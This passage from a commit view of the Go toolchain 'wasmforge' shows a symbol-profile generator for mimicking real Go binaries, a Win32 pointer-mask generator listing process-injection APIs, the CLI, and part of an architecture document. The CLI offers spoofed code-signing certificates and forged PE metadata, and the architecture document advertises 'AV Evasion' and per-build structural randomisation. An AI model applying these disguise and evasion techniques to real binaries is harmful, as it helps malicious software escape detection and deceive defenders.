if end < 0 {
return parsedSymbol{}, false
}
sym.typeName = rest[2:end]
if len(rest) > end+2 {
sym.funcName = rest[end+2:] // skip ")."
}
} else if dot := strings.Index(rest, "."); dot >= 0 {
// Value receiver: "Type.Method"
sym.typeName = rest[:dot]
sym.funcName = rest[dot+1:]
} else {
// Plain function: "FuncName"
sym.funcName = rest
}
// Clean up any trailing generic type parameter brackets from funcName.
if idx := strings.IndexByte(sym.funcName, '['); idx >= 0 {
sym.funcName = sym.funcName[:idx]
}
if sym.funcName == "" {
return parsedSymbol{}, false
}
if isClosureName(sym.funcName) {
return parsedSymbol{}, false
}
return sym, true
}
// isClosureName returns true for compiler-synthesised sub-function names:
// funcN (where N is a digit), init.N, deferwrap, etc.
func isClosureName(name string) bool {
if name == "" {
return false
}
// "func1", "func12", ...
if strings.HasPrefix(name, "func") {
rest := name[4:]
if rest != "" && isAllDigits(rest) {
return true
}
}
// "init.0", "init.1", ...
if strings.HasPrefix(name, "init.") {
return true
}
// "deferwrap"
if strings.Contains(name, "deferwrap") {
return true
}
return false
}
func isAllDigits(s string) bool {
for _, c := range s {
if c < '0' || c > '9' {
return false
}
}
return true
}
// hasPathSegment returns true if any /-separated segment of path equals name
// (case-insensitive).
func hasPathSegment(path, name string) bool {
lower := strings.ToLower(name)
for _, seg := range strings.Split(strings.ToLower(path), "/") {
if seg == lower {
return true
}
}
return false
}
// moduleCandidates returns the candidate module prefixes for an import path.
// It generates a 3-segment prefix and, when the 4th segment is a version tag
// (v2, v3, …), also a 4-segment prefix.
func moduleCandidates(importPath string) []string {
parts := strings.Split(importPath, "/")
var candidates []string
if len(parts) >= 3 {
candidates = append(candidates, strings.Join(parts[:3], "/"))
}
if len(parts) >= 4 {
v := parts[3]
if len(v) >= 2 && v[0] == 'v' && isAllDigits(v[1:]) {
candidates = append(candidates, strings.Join(parts[:4], "/"))
}
}
return candidates
}
// detectModulePath returns the most-likely module path from the set of import
// paths. A module with many sub-packages gets a high score; ties are broken
// by total symbol count.
//
// For each distinct import path we generate a 3-segment prefix
// (e.g. "github.com/traefik/traefik") and, when the 4th segment is a version
// tag (v2, v3, …), also a 4-segment prefix. The prefix whose sub-package
// count (distinct child paths) is highest wins.
func detectModulePath(counts map[string]int) string {
// prefixChildren[prefix] = distinct import paths with that prefix (children).
prefixChildren := make(map[string]int)
prefixSyms := make(map[string]int)
for p, syms := range counts {
for _, prefix := range moduleCandidates(p) {
if p != prefix {
prefixChildren[prefix]++
}
prefixSyms[prefix] += syms
}
}
best := ""
bestChildren := -1
bestSyms := 0
for prefix, children := range prefixChildren {
syms := prefixSyms[prefix]
if children > bestChildren ||
(children == bestChildren && syms > bestSyms) {
bestChildren = children
bestSyms = syms
best = prefix
}
}
if best == "" {
for prefix, syms := range prefixSyms {
if syms > bestSyms {
bestSyms = syms
best = prefix
}
}
}
return best
}
// relPath strips the module prefix from an import path, returning the
// relative package path (e.g. "pkg/provider").
func relPath(importPath, modulePath string) string {
if importPath == modulePath {
return "."
}
prefix := modulePath + "/"
if strings.HasPrefix(importPath, prefix) {
return importPath[len(prefix):]
}
return importPath
}
// runObjdump runs "go tool objdump" on the binary and accumulates symbol data.
func runObjdump(binary string) (pkgFuncs, pkgTypes map[string]map[string]bool, typeMethods map[string]map[string]bool, importPathCounts map[string]int, totalSymbols int, err error) {
fmt.Fprintf(os.Stderr, "[gen-ghost-profile] running go tool objdump on %s\n", binary)
cmd := exec.Command("go", "tool", "objdump", binary)
stdout, err := cmd.StdoutPipe()
if err != nil {
return nil, nil, nil, nil, 0, fmt.Errorf("objdump pipe: %w", err)
}
if err := cmd.Start(); err != nil {
return nil, nil, nil, nil, 0, fmt.Errorf("objdump start: %w", err)
}
// Use a large scanner buffer — objdump output can be millions of lines.
const maxScannerBuf = 16 * 1024 * 1024 // 16 MB
scanner := bufio.NewScanner(stdout)
scanner.Buffer(make([]byte, maxScannerBuf), maxScannerBuf)
pkgFuncs = make(map[string]map[string]bool)
pkgTypes = make(map[string]map[string]bool)
typeMethods = make(map[string]map[string]bool)
importPathCounts = make(map[string]int)
for scanner.Scan() {
line := scanner.Text()
if !strings.HasPrefix(line, "TEXT ") {
continue
}
m := textLineRE.FindStringSubmatch(line)
if m == nil {
continue
}
sym, ok := parseSymbol(m[1])
if !ok {
continue
}
totalSymbols++
importPathCounts[sym.importPath]++
if pkgFuncs[sym.importPath] == nil {
pkgFuncs[sym.importPath] = make(map[string]bool)
}
if sym.typeName == "" {
pkgFuncs[sym.importPath][sym.funcName] = true
} else {
if pkgTypes[sym.importPath] == nil {
pkgTypes[sym.importPath] = make(map[string]bool)
}
pkgTypes[sym.importPath][sym.typeName] = true
if typeMethods[sym.typeName] == nil {
typeMethods[sym.typeName] = make(map[string]bool)
}
typeMethods[sym.typeName][sym.funcName] = true
}
}
if scanErr := scanner.Err(); scanErr != nil {
cmd.Wait() //nolint:errcheck
return nil, nil, nil, nil, 0, fmt.Errorf("scanner error: %w", scanErr)
}
if waitErr := cmd.Wait(); waitErr != nil {
log.Printf("WARNING: objdump exited with error: %v", waitErr)
}
fmt.Fprintf(os.Stderr, "[gen-ghost-profile] parsed %d symbols from %d packages\n",
totalSymbols, len(importPathCounts))
return pkgFuncs, pkgTypes, typeMethods, importPathCounts, totalSymbols, nil
}
// buildProfile assembles a GhostProfile from the accumulated symbol data.
func buildProfile(name string, pkgFuncs, pkgTypes map[string]map[string]bool, typeMethods map[string]map[string]bool, importPathCounts map[string]int, totalSymbols int) GhostProfile {
modulePath := detectModulePath(importPathCounts)
// If the auto-detected module path doesn't contain the profile name
// as an exact path segment, search for a better match.
if !hasPathSegment(modulePath, name) {
for p := range importPathCounts {
for _, c := range moduleCandidates(p) {
if hasPathSegment(c, name) {
modulePath = c
break
}
}
if hasPathSegment(modulePath, name) {
break
}
}
}
fmt.Fprintf(os.Stderr, "[gen-ghost-profile] detected module path: %s\n", modulePath)
profile := GhostProfile{
Name: name,
Source: modulePath,
ModulePath: modulePath,
Functions: make(map[string][]string),
Types: make(map[string][]string),
Methods: make(map[string][]string),
}
pkgSet := make(map[string]bool)
for importPath, funcs := range pkgFuncs {
rel := relPath(importPath, modulePath)
pkgSet[rel] = true
if len(funcs) > 0 {
fs := sortedKeys(funcs)
if existing, ok := profile.Functions[rel]; ok {
profile.Functions[rel] = mergeSorted(existing, fs)
} else {
profile.Functions[rel] = fs
}
}
}
for importPath, types := range pkgTypes {
rel := relPath(importPath, modulePath)
pkgSet[rel] = true
if len(types) > 0 {
ts := sortedKeys(types)
if existing, ok := profile.Types[rel]; ok {
profile.Types[rel] = mergeSorted(existing, ts)
} else {
profile.Types[rel] = ts
}
}
}
for typeName, methods := range typeMethods {
if len(methods) > 0 {
ms := sortedKeys(methods)
if existing, ok := profile.Methods[typeName]; ok {
profile.Methods[typeName] = mergeSorted(existing, ms)
} else {
profile.Methods[typeName] = ms
}
}
}
profile.Packages = sortedKeys(pkgSet)
profile.TotalFunctions = totalSymbols
profile.TotalPackages = len(profile.Packages)
return profile
}
// writeProfile serialises profile as indented JSON to <outDir>/<name>.json.
func writeProfile(profile GhostProfile, outDir, name string) error {
outPath := filepath.Join(outDir, name+".json")
f, err := os.Create(outPath)
if err != nil {
return fmt.Errorf("create output: %w", err)
}
enc := json.NewEncoder(f)
enc.SetIndent("", " ")
if err := enc.Encode(profile); err != nil {
f.Close()
return fmt.Errorf("encode JSON: %w", err)
}
if err := f.Close(); err != nil {
return fmt.Errorf("close output: %w", err)
}
fmt.Fprintf(os.Stderr, "[gen-ghost-profile] wrote profile to %s\n", outPath)
fmt.Fprintf(os.Stderr, " packages: %d\n", profile.TotalPackages)
fmt.Fprintf(os.Stderr, " functions: %d\n", profile.TotalFunctions)
return nil
}
func main() {
binary := flag.String("binary", "", "Path to compiled Go binary (required)")
name := flag.String("name", "", "Profile name (required)")
outDir := flag.String("out", ".", "Output directory for the JSON profile")
flag.Parse()
if *binary == "" || *name == "" {
flag.Usage()
os.Exit(1)
}
pkgFuncs, pkgTypes, typeMethods, importPathCounts, totalSymbols, err := runObjdump(*binary)
if err != nil {
log.Fatal(err)
}
if len(importPathCounts) == 0 {
log.Fatal("no symbols found — is this a Go binary? try running with a different binary")
}
profile := buildProfile(*name, pkgFuncs, pkgTypes, typeMethods, importPathCounts, totalSymbols)
if err := writeProfile(profile, *outDir, *name); err != nil {
log.Fatal(err)
}
}
// sortedKeys returns the keys of a map[string]bool sorted ascending.
func sortedKeys(m map[string]bool) []string {
out := make([]string, 0, len(m))
for k := range m {
out = append(out, k)
}
sort.Strings(out)
return out
}
// mergeSorted merges two sorted slices, deduplicating.
func mergeSorted(a, b []string) []string {
seen := make(map[string]bool, len(a)+len(b))
for _, s := range a {
seen[s] = true
}
for _, s := range b {
seen[s] = true
}
return sortedKeys(seen)
}
+415
View File
@@ -0,0 +1,415 @@
// gen-ptrmasks generates pointer bitmasks for Win32 API parameters from
// the win32json metadata (https://github.com/marlersoft/win32json).
//
// For each Win32 function, it produces a uint32 bitmask where bit N=1
// means parameter N is a WASM linear memory pointer that needs host-address
// translation. This replaces manual curation for the vast majority of the
// ~17,000 Win32 APIs.
//
// Usage:
//
// go run ./cmd/gen-ptrmasks -json /path/to/win32json/api -o internal/hostmod/generated_ptrmasks.go
//
// Or via go generate (see internal/hostmod/generate.go).
package main
import (
"bufio"
"encoding/json"
"flag"
"fmt"
"io/fs"
"log"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"text/template"
"time"
)
// JSON schema types matching win32json format.
// APIFile represents one api/*.json file.
type APIFile struct {
Constants json.RawMessage `json:"Constants"`
Types []TypeDef `json:"Types"`
Functions []Function `json:"Functions"`
}
// Function represents a Win32 API function.
type Function struct {
Name string `json:"Name"`
DllImport string `json:"DllImport"`
Params []Param `json:"Params"`
ReturnType TypeDesc `json:"ReturnType"`
}
// Param represents a function parameter.
type Param struct {
Name string `json:"Name"`
Type TypeDesc `json:"Type"`
Attrs []json.RawMessage `json:"Attrs"`
}
// TypeDesc describes a type in the metadata.
type TypeDesc struct {
Kind string `json:"Kind"`
Name string `json:"Name,omitempty"`
Child *TypeDesc `json:"Child,omitempty"`
// ApiRef fields
TargetKind string `json:"TargetKind,omitempty"`
Api string `json:"Api,omitempty"`
}
// TypeDef represents a type definition in the Types array.
type TypeDef struct {
Name string `json:"Name"`
Kind string `json:"Kind"`
Def *TypeDesc `json:"Def,omitempty"`
}
// maskEntry holds a computed mask for output.
type maskEntry struct {
Name string
Mask uint32
Comment string // parameter annotations
}
func main() {
jsonDir := flag.String("json", "", "Path to win32json/api directory")
output := flag.String("o", "", "Output Go file path")
pkgName := flag.String("pkg", "hostmod", "Go package name for generated file")
remoteCtx := flag.String("remote-ctx", "", "Optional path to remote-context overrides config file")
flag.Parse()
if *jsonDir == "" || *output == "" {
flag.Usage()
os.Exit(1)
}
log.Printf("Loading API files from %s...", *jsonDir)
// Phase 1: Load all API files and build global type registry.
typeRegistry := make(map[string]*TypeDef) // key: type name
var allFunctions []Function
err := filepath.WalkDir(*jsonDir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() || !strings.HasSuffix(d.Name(), ".json") {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return fmt.Errorf("read %s: %w", path, err)
}
var apiFile APIFile
if err := json.Unmarshal(data, &apiFile); err != nil {
return fmt.Errorf("parse %s: %w", path, err)
}
for i := range apiFile.Types {
t := &apiFile.Types[i]
typeRegistry[t.Name] = t
}
allFunctions = append(allFunctions, apiFile.Functions...)
return nil
})
if err != nil {
log.Fatalf("Failed to load API files: %v", err)
}
log.Printf("Loaded %d types, %d functions", len(typeRegistry), len(allFunctions))
// Load remote-context overrides (optional).
remoteOverrides := loadRemoteContextOverrides(*remoteCtx)
if remoteOverrides != nil {
log.Printf("Loaded remote-context overrides for %d APIs", len(remoteOverrides))
}
// Phase 2: Compute pointer masks for all functions.
var entries []maskEntry
stats := struct {
total int
withPtrs int
allZero int
skippedDups int
remoteOverridden int
}{}
seen := make(map[string]bool)
for _, fn := range allFunctions {
if seen[fn.Name] {
stats.skippedDups++
continue
}
seen[fn.Name] = true
stats.total++
if len(fn.Params) > 32 {
// uint32 bitmask can only represent 32 params
log.Printf("WARNING: %s has %d params (>32), truncating mask", fn.Name, len(fn.Params))
}
var mask uint32
var comments []string
for i, param := range fn.Params {
if i >= 32 {
break
}
if isWasmPointer(param.Type, typeRegistry, 0) {
mask |= 1 << uint(i)
comments = append(comments, param.Name)
}
}
// Apply remote-context overrides: clear bits for args that are remote
// process addresses (not WASM pointers), even if typed as PointerTo(Void).
if overrides, ok := remoteOverrides[fn.Name]; ok {
for idx := range overrides {
if idx < 32 {
mask &^= 1 << uint(idx)
}
}
stats.remoteOverridden++
}
if mask != 0 {
stats.withPtrs++
} else {
stats.allZero++
}
entries = append(entries, maskEntry{
Name: fn.Name,
Mask: mask,
Comment: strings.Join(comments, ", "),
})
}
// Sort entries by name for deterministic output.
sort.Slice(entries, func(i, j int) bool {
return entries[i].Name < entries[j].Name
})
log.Printf("Computed masks: %d total, %d with pointers, %d all-zero, %d duplicate names skipped, %d remote-context overrides applied",
stats.total, stats.withPtrs, stats.allZero, stats.skippedDups, stats.remoteOverridden)
// Phase 3: Generate Go source file.
tmpl := template.Must(template.New("output").Parse(outputTemplate))
f, err := os.Create(*output)
if err != nil {
log.Fatalf("Failed to create output file: %v", err)
}
defer f.Close()
err = tmpl.Execute(f, struct {
Package string
Timestamp string
Entries []maskEntry
Stats struct {
Total int
WithPtrs int
AllZero int
}
}{
Package: *pkgName,
Timestamp: time.Now().UTC().Format(time.RFC3339),
Entries: entries,
Stats: struct {
Total int
WithPtrs int
AllZero int
}{
Total: stats.total,
WithPtrs: stats.withPtrs,
AllZero: stats.allZero,
},
})
if err != nil {
log.Fatalf("Failed to generate output: %v", err)
}
log.Printf("Generated %s (%d entries)", *output, len(entries))
}
// isWasmPointer returns true if the given type represents a WASM linear memory
// pointer that needs host-address translation. The depth parameter prevents
// infinite recursion on circular type references.
func isWasmPointer(td TypeDesc, types map[string]*TypeDef, depth int) bool {
if depth > 10 {
return false // prevent infinite recursion
}
switch td.Kind {
case "PointerTo":
return true // LPVOID, LPCWSTR, LPBYTE, etc.
case "LPArray":
return true // Array buffers passed by pointer
case "Native":
// IntPtr, UIntPtr, UInt32, Int32, etc. are scalars/handles, not WASM pointers.
// IntPtr is used for HANDLE, HWND, LPARAM -- all opaque values, not dereferenceable.
return false
case "ApiRef":
// Resolve the referenced type definition.
resolved, ok := types[td.Name]
if !ok {
return false // unknown type, assume not pointer
}
return isTypeDefPointer(resolved, types, depth+1)
case "FunctionPointer":
return false // Native callback address, not WASM memory
case "Enum":
return false // Scalar value
case "Struct":
return false // Struct passed by value
case "Union":
return false // Union passed by value
case "Com":
return true // COM interface pointer
case "ComClassID":
return false // GUID value
default:
return false
}
}
// isTypeDefPointer determines if a TypeDef resolves to a WASM pointer.
func isTypeDefPointer(td *TypeDef, types map[string]*TypeDef, depth int) bool {
switch td.Kind {
case "NativeTypedef":
if td.Def == nil {
return false
}
return isWasmPointer(*td.Def, types, depth)
case "Enum":
return false // Enumeration is a scalar
case "Struct":
return false // Struct value passed by value
case "Union":
return false // Union value passed by value
case "FunctionPointer":
return false // Callback address, not WASM memory
case "Com":
return true // COM interface pointer
case "ComClassID":
return false // GUID value
default:
return false
}
}
// loadRemoteContextOverrides reads a config file listing APIs whose
// pointer-typed params are remote process addresses (not WASM pointers).
// Returns map[apiName]map[argIndex]bool, or nil if path is empty.
//
// File format: lines of the form "ApiName idx1 [idx2...]" where indices are
// 0-based parameter positions. Lines starting with '#' and blank lines are
// ignored.
func loadRemoteContextOverrides(path string) map[string]map[int]bool {
if path == "" {
return nil
}
f, err := os.Open(path)
if err != nil {
log.Fatalf("Failed to open remote-context overrides file %s: %v", path, err)
}
defer f.Close()
result := make(map[string]map[int]bool)
scanner := bufio.NewScanner(f)
lineNum := 0
for scanner.Scan() {
lineNum++
line := strings.TrimSpace(scanner.Text())
// Skip comments and blank lines.
if line == "" || strings.HasPrefix(line, "#") {
continue
}
fields := strings.Fields(line)
if len(fields) < 2 {
log.Printf("WARNING: remote-ctx line %d: expected 'ApiName idx...', got %q (skipping)", lineNum, line)
continue
}
apiName := fields[0]
indices := make(map[int]bool)
for _, s := range fields[1:] {
idx, err := strconv.Atoi(s)
if err != nil {
log.Printf("WARNING: remote-ctx line %d: invalid index %q for %s: %v (skipping)", lineNum, s, apiName, err)
continue
}
if idx < 0 || idx >= 32 {
log.Printf("WARNING: remote-ctx line %d: index %d out of range [0,31] for %s (skipping)", lineNum, idx, apiName)
continue
}
indices[idx] = true
}
if len(indices) > 0 {
result[apiName] = indices
}
}
if err := scanner.Err(); err != nil {
log.Fatalf("Failed to read remote-context overrides file %s: %v", path, err)
}
return result
}
const outputTemplate = `// Code generated by gen-ptrmasks from win32json metadata. DO NOT EDIT.
// Generated: {{.Timestamp}}
// Stats: {{.Stats.Total}} APIs total, {{.Stats.WithPtrs}} with pointer params, {{.Stats.AllZero}} with no pointer params
//go:build windows
package {{.Package}}
// generatedPointerMasks maps Win32 API names to bitmasks indicating which
// arguments are WASM linear memory pointers that need host-address translation.
// Bit N=1 means arg[N] IS a WASM pointer; bit N=0 means it is NOT.
//
// This map is auto-generated from the win32json project's metadata
// (https://github.com/marlersoft/win32json). Semantic overrides in
// semanticOverrides take priority over these entries for APIs where the
// type-level classification is insufficient (e.g., remote process memory
// addresses that are typed as PointerTo(Void) but are not WASM pointers).
var generatedPointerMasks = map[string]uint32{
{{- range .Entries}}
{{- if ne .Mask 0}}
"{{.Name}}": 0x{{printf "%02x" .Mask}}, // {{.Comment}}
{{- end}}
{{- end}}
}
`
+32
View File
@@ -0,0 +1,32 @@
# APIs where pointer-typed parameters are remote process addresses,
# NOT WASM linear memory pointers. The generator forces these arg
# bits to 0 in the auto-generated output.
#
# Format: ApiName argIndex [argIndex...]
# (0-based parameter indices)
#
# These APIs take LPVOID / LPCVOID parameters that point into a
# remote process's address space. The type system says "PointerTo(Void)"
# but they must NOT be translated as WASM pointers.
# Cross-process memory
VirtualAllocEx 1
VirtualFreeEx 1
VirtualProtectEx 1
VirtualQueryEx 1
WriteProcessMemory 1
ReadProcessMemory 1
# Remote thread creation
CreateRemoteThread 3 4
CreateRemoteThreadEx 3 4
# Nt* equivalents (if ever added to win32json)
NtAllocateVirtualMemory 1
NtFreeVirtualMemory 1
NtProtectVirtualMemory 1
NtReadVirtualMemory 1
NtWriteVirtualMemory 1
NtMapViewOfSection 4
NtUnmapViewOfSection 1
NtCreateThreadEx 6 9
+251
View File
@@ -0,0 +1,251 @@
package main
import (
"fmt"
"os"
"os/exec"
"github.com/spf13/cobra"
"github.com/praetorian-inc/wasmforge/internal/build"
"github.com/praetorian-inc/wasmforge/internal/dotnet/migrate"
"github.com/praetorian-inc/wasmforge/internal/patch"
"github.com/praetorian-inc/wasmforge/internal/patch/rules"
)
var version = build.Version
func main() {
root := &cobra.Command{
Use: "wasmforge",
Short: "Go-to-WASM toolchain with full networking",
Long: `WasmForge compiles standard Go programs to WASM with transparent networking.
Write normal Go code using net.Dial, net.Listen, net/http, and WasmForge
produces a single native binary that sandboxes the code in WASM with real
network I/O.`,
}
var (
output string
rawSockets bool
win32APIs bool
fsMounts []string
verbose bool
signMode string
noSign bool
buildTags string
ghost string
peCompany string
peProduct string
peDescription string
peCopyright string
peFileVersion string
precompiledWASM string
)
buildCmd := &cobra.Command{
Use: "build [project]",
Short: "Compile a Go or C# project to a WASM-sandboxed native binary",
Args: cobra.RangeArgs(0, 1),
RunE: func(cmd *cobra.Command, args []string) error {
pkg := ""
if len(args) > 0 {
pkg = args[0]
}
if pkg == "" && precompiledWASM == "" {
return fmt.Errorf("either a Go or C# project path or --wasm <path> is required")
}
opts := build.Options{
Package: pkg,
Output: output,
RawSockets: rawSockets,
Win32APIs: win32APIs,
FSMounts: fsMounts,
Verbose: verbose,
SignMode: signMode,
NoSign: noSign,
BuildTags: buildTags,
Ghost: ghost,
// NativeAOT is auto-set inside build.Run() when --wasm or a C# project is detected.
PrecompiledWASM: precompiledWASM,
MigrateFunc: func(sourceDir string, v bool) error {
result, err := migrate.Run(migrate.Config{
SourceDir: sourceDir,
Verbose: v,
})
if err != nil {
return err
}
if v {
fmt.Fprintf(os.Stderr, "wasmforge: migrated %s (%d helpers, %d patches)\n",
result.CsprojPath, len(result.InjectedHelpers), result.PatchesApplied)
}
return nil
},
PE: build.PEMetadata{
CompanyName: peCompany,
ProductName: peProduct,
Description: peDescription,
Copyright: peCopyright,
FileVersion: peFileVersion,
},
}
return build.Run(opts)
},
}
buildCmd.Flags().StringVarP(&output, "output", "o", "", "Output binary path")
buildCmd.Flags().BoolVar(&rawSockets, "raw-sockets", false, "Enable raw socket support (requires privileges)")
buildCmd.Flags().BoolVar(&win32APIs, "win32-apis", false, "Force Win32 API support on. Auto-enabled for Windows targets; pass explicitly only to enable on non-Windows hosts")
buildCmd.Flags().StringSliceVar(&fsMounts, "fs-mount", nil, "Mount host directory into WASM (hostpath:guestpath)")
buildCmd.Flags().BoolVarP(&verbose, "verbose", "v", false, "Verbose output")
buildCmd.Flags().StringVar(&peCompany, "pe-company", "", "PE VERSIONINFO CompanyName")
buildCmd.Flags().StringVar(&peProduct, "pe-product", "", "PE VERSIONINFO ProductName")
buildCmd.Flags().StringVar(&peDescription, "pe-description", "", "PE VERSIONINFO FileDescription")
buildCmd.Flags().StringVar(&peCopyright, "pe-copyright", "", "PE VERSIONINFO LegalCopyright")
buildCmd.Flags().StringVar(&peFileVersion, "pe-file-version", "", "PE VERSIONINFO FileVersion (e.g. 10.0.19041.1)")
buildCmd.Flags().StringVar(&signMode, "sign", "", "Sign binary: 'self' for self-signed, or domain name (e.g., 'google.com') for spoofed cert")
buildCmd.Flags().BoolVar(&noSign, "no-sign", false, "Disable default auto-signing for Windows targets")
buildCmd.Flags().StringVar(&buildTags, "tags", "", "Extra Go build tags (comma-separated, e.g. 'shell,ps,netstat')")
buildCmd.Flags().StringVar(&ghost, "ghost", "", "Ghost profile name for gopclntab camouflage (e.g., 'traefik', 'caddy')")
buildCmd.Flags().StringVar(&precompiledWASM, "wasm", "", "Use precompiled WASM file instead of compiling Go source")
runCmd := &cobra.Command{
Use: "run [package]",
Short: "Build and immediately run a Go package in WASM",
Args: cobra.MinimumNArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
tmpOut, err := os.CreateTemp("", "wasmforge-run-*")
if err != nil {
return fmt.Errorf("creating temp file: %w", err)
}
tmpOut.Close()
defer os.Remove(tmpOut.Name())
opts := build.Options{
Package: args[0],
Output: tmpOut.Name(),
RawSockets: rawSockets,
Win32APIs: win32APIs,
FSMounts: fsMounts,
Verbose: verbose,
}
if err := build.Run(opts); err != nil {
return err
}
c := exec.Command(tmpOut.Name(), args[1:]...)
c.Stdout = os.Stdout
c.Stderr = os.Stderr
c.Stdin = os.Stdin
return c.Run()
},
}
runCmd.Flags().BoolVar(&rawSockets, "raw-sockets", false, "Enable raw socket support")
runCmd.Flags().BoolVar(&win32APIs, "win32-apis", false, "Force Win32 API support on. Auto-enabled for Windows targets; pass explicitly only to enable on non-Windows hosts")
runCmd.Flags().StringSliceVar(&fsMounts, "fs-mount", nil, "Mount host directory into WASM")
runCmd.Flags().BoolVarP(&verbose, "verbose", "v", false, "Verbose output")
cleanCmd := &cobra.Command{
Use: "clean",
Short: "Remove the patched GOROOT cache",
RunE: func(cmd *cobra.Command, args []string) error {
if err := build.CleanCache(); err != nil {
return err
}
fmt.Println("wasmforge: cache cleaned")
return nil
},
}
versionCmd := &cobra.Command{
Use: "version",
Short: "Print wasmforge version",
Run: func(cmd *cobra.Command, args []string) {
fmt.Printf("wasmforge %s\n", version)
},
}
var astVerify bool
var useLegacy bool
dotnetPatchCmd := &cobra.Command{
Use: "dotnet-patch <source-dir>",
Short: "Apply NativeAOT-WASI C# source patches",
Long: `Apply NativeAOT-WASI C# source patches to the given source directory.
The default path runs the AST patcher (all 241+ rules registered via
AllNativeAOTASTRules) and prints a coverage report showing how many rules
matched. Use --verbose to see per-file rule application.
With --ast-verify, runs both the legacy text patcher and the AST patcher on
separate copies of the source tree, then byte-diffs the results. Use this to
gate incremental AST rule migration in CI.
With --legacy, falls back to the legacy text patcher. Use this as an emergency
rollback if the AST patcher produces incorrect output.`,
Args: cobra.ExactArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
if astVerify {
return patch.VerifyEquivalence(args[0], rules.AllNativeAOTASTRules(), verbose)
}
var count int
var err error
if useLegacy {
count, err = patch.ApplyCSharpPatches(args[0], verbose)
if err != nil {
return err
}
} else {
var report *patch.CoverageReport
count, report, err = patch.ApplyCSharpASTPatches(args[0], rules.AllNativeAOTASTRules(), verbose)
if err != nil {
return err
}
if report != nil {
fmt.Println(report)
}
}
// Generate Properties/WfDirectPInvoke.props listing every DLL
// referenced by [DllImport] across the source tree. The patcher's
// csproj rule adds the matching <Import>; without this file,
// NativeAOT-LLVM falls back to lazy P/Invoke resolution which is
// unsupported on WASM and causes silent runtime failures across
// ole32/oleaut32/etc.
propsPath, dlls, perr := patch.EmitDirectPInvokeProps(args[0], verbose)
if perr != nil {
return fmt.Errorf("emitting DirectPInvoke props: %w", perr)
}
fmt.Printf("wasmforge: applied %d patches, %d DirectPInvoke entries at %s\n", count, len(dlls), propsPath)
return nil
},
}
dotnetPatchCmd.Flags().BoolVarP(&verbose, "verbose", "v", false, "Verbose output")
dotnetPatchCmd.Flags().BoolVar(&astVerify, "ast-verify", false, "Run AST patcher and verify byte-equivalence with legacy text patcher")
dotnetPatchCmd.Flags().BoolVar(&useLegacy, "legacy", false, "Use legacy text patcher instead of AST patcher (emergency rollback)")
var dotnetMigrateVerbose bool
dotnetMigrateCmd := &cobra.Command{
Use: "dotnet-migrate <source-dir>",
Short: "Migrate .NET Framework project to .NET 10 NativeAOT-WASI",
Args: cobra.ExactArgs(1),
RunE: func(cmd *cobra.Command, args []string) error {
result, err := migrate.Run(migrate.Config{
SourceDir: args[0],
Verbose: dotnetMigrateVerbose,
})
if err != nil {
return err
}
fmt.Printf("wasmforge: migrated %s\n", result.CsprojPath)
fmt.Printf("wasmforge: injected %d helpers\n", len(result.InjectedHelpers))
fmt.Printf("wasmforge: applied %d patches\n", result.PatchesApplied)
return nil
},
}
dotnetMigrateCmd.Flags().BoolVarP(&dotnetMigrateVerbose, "verbose", "v", false, "Verbose output")
root.AddCommand(buildCmd, runCmd, cleanCmd, versionCmd, dotnetPatchCmd, dotnetMigrateCmd)
if err := root.Execute(); err != nil {
os.Exit(1)
}
}
+991
View File
@@ -0,0 +1,991 @@
# WasmForge Architecture
This document describes the internals of the WasmForge toolchain: how guest
code reaches the host operating system, how the build pipeline produces a
single native binary from Go or C# source, and the design decisions behind
the runtime. Read this if you are extending WasmForge, debugging a guest
program that does not behave like the native equivalent, or porting a new
class of target program to the sandbox.
For a higher-level pitch and quickstart, see [`README.md`](../README.md).
For contributor workflow (how to build, test, and send a PR), see
[`CONTRIBUTING.md`](../CONTRIBUTING.md).
## Table of Contents
- [Overview](#overview)
- [High-Level Architecture](#high-level-architecture)
- [Three-Stage Go Build Pipeline](#three-stage-go-build-pipeline)
- [NativeAOT-WASI .NET Build Pipeline](#nativeaot-wasi-net-build-pipeline)
- [Host Module Layout](#host-module-layout)
- [Key Design Decisions](#key-design-decisions)
- [Guest Libraries](#guest-libraries)
- [Host Functions Reference](#host-functions-reference)
- [WASM Embedding and AV Evasion](#wasm-embedding-and-av-evasion)
- [Extension API Callbacks](#extension-api-callbacks)
## Overview
WasmForge compiles Go and C# programs to WebAssembly and packages them as
single native binaries. The resulting executables sandbox guest code inside
a WASM runtime (a per-build fork of [wazero](https://github.com/tetratelabs/wazero))
while exposing transparent access to networking, raw sockets, the Win32 API,
and macOS frameworks.
The runtime presents the guest with a normal-looking environment: standard
`net/http`, `os/exec`, `syscall.SyscallN`, COM mirroring, macOS framework
`dlopen`/`dlsym`, and `execute-assembly` for hosted CLR all work without
guest code modifications. The bridge between sandbox and host is the host
module — a wazero module published under the `env` namespace that exposes
roughly ninety functions.
WasmForge supports three guest sources:
| Source | Path | Output |
|--------|------|--------|
| Standard Go | `./examples/tcpscanner` | Native PE / Mach-O |
| .NET Framework C# | Auto-migrated to .NET 10 + NativeAOT-WASI | Native PE |
| Pre-compiled `.wasm` | Any WASI P1 module + optional NativeAOT-WASI | Native PE |
The output is always one statically-linked binary with no external runtime
dependency. Windows targets are Authenticode-signed by default. Every build
is structurally unique: WASM opcodes are permuted, custom magic bytes
randomize the WASM header, identifiers are renamed, PE imports are
shuffled, and gopclntab symbols can be camouflaged to match real Go
binaries (Traefik, Caddy, Terraform, etc.).
## High-Level Architecture
```
+---------------- WASM Guest (wasip1 / NativeAOT-WASI) ---------------+
| |
| Standard Go Standard .NET guest/rawnet guest/win32 |
| (net, exec, (Win32 P/Invoke guest/darwin |
| syscall, ...) via bridge) |
| |
+----------- go:wasmimport ABI / NativeAOT mod_invoke ----------------+
|
+--------------- Host Module (env namespace) -------------------------+
| |
| 90+ host functions: |
| * Networking (TCP/UDP/raw, DNS) |
| * OS proxies (hostname, exec, pipe, net interfaces) |
| * Win32 (LoadLibrary, SyscallN, registry, file, process, COM) |
| * macOS frameworks (dlopen/dlsym + assembly trampolines) |
| * NativeAOT helpers (SDDL, WMI, LSA Kerberos, dir/file) |
| |
+----------- wazero (custom VM: permuted opcodes/magic) --------------+
|
OS Kernel / Windows APIs / macOS Frameworks
```
The host module is the bridge. All guest networking, file I/O, process
control, registry access, COM dispatch, and framework calls flow through
its functions. On platforms where a host function does not apply (for
